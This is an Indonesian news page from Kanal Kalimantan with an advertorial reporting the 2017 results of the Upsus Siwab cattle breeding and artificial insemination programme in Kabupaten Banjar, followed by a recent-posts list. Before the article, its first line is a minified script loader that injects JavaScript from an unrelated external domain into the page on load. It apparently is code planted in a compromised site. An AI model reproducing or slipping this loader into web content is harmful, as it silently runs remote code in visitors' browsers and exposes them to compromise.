(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Advertorial

Ini Angka Hasil Program Sapi Indukan Wajib Bunting 2017 di Disnakbun Banjar


MARTAPURA, Dinas Peternakan dan Perkebunan (Disnakbun) Kabupaten Banjar dianggap sukses dalam menjalankan program kerja nasional Upaya Khusus Sapi Indukan Wajib Bunting (Upsus Siwab).

Capaian program Upsus Siwab di Kabupaten Banjar untuk tahun 2017 ekseptor sebanyak 6.065 ekor, inseminasi buatan sebanyak 3.896 ekor, pemeriksaan kebuntingan 3.333 ekor, kelahiran sebanyak 1.076 ekor, gangguan reproduksi sebanyak 111 ekor.

Dari hasil tersebut Kabupaten Banjar mampu mencapai realisasi dari target sebanyak 160%, inseminasi buatan sebanyak 103%, pemeriksaan kebuntingan sebanyak 119%, sedangkan kelahiran sebanyak 71%. Sebagian ternak masih dalam keadaan bunting dan diperkirakan lahir di triwulan pertama tahun 2018.

Paparan data itu disampaikan Kepala Dinas Peternakan dan Perkebunan Ir Dondit Bekti kepaa Kanal Kalimantan.  Ia menjelaskan, Upsus Siwab merupakan implementasi kebijakan dari cita-cita Presiden Jokowi yang menginginkan pencapaian swasembada daging sapi dalam 9-10 tahun ke depan.

“Kegiatan ini merupakan implentasi Kebijakan Presiden Joko Widodo yang ingin pencapaian swasembada daging sapi dalam 9-10 tahun kedepan,” kata Dondit.

Kegiatan ini dilakukan di kantong-kantong ternak, di Kecamatan Mataraman meliputi desa Baru, desa Loktamu, Kecamatan Sambung Makmur meliputi desa Gunung Batu, desa Baliangin, desa Batang Banyu, desa Sungai  Lurus. Kecamatan Sungai Pinang meliputi desa Rantau Bakula, desa Kupang Rejo, desa Sungai Pinang. Kecamatan Karang Intan meliputi desa Sungai Besar, Kecamatan Telaga Bauntung meliputi desa Lok Tanah dan Kecamatan Pengaron meliputi desa Mengkauk.

“Sambutan masyarakat terutama petani ternak sangat antusias dan mendukung program tersebut, terlihat dari masyarakat mengumpulkan ternak saat kegiatan dilaksanakan,” ujarnya.

Dari capaian ini Kabupaten Banjar mampu ikut serta menghantarkan Provinsi Kalimantan Selatan sebagai juara kedua tingkat nasional dengan katagori inseminasi buatan kawasan semi intensif.

“Tujuan program ini adalah peningkatan populasi, dengan harapan di tahun 2018 program ini bisa melahirkan lebih dari 4.000 ekor,” pungkasnya.(hendera)

 

Reporter : Hendera
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

29 menit ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

1 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

5 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

6 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

6 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

7 jam ago

This website uses cookies.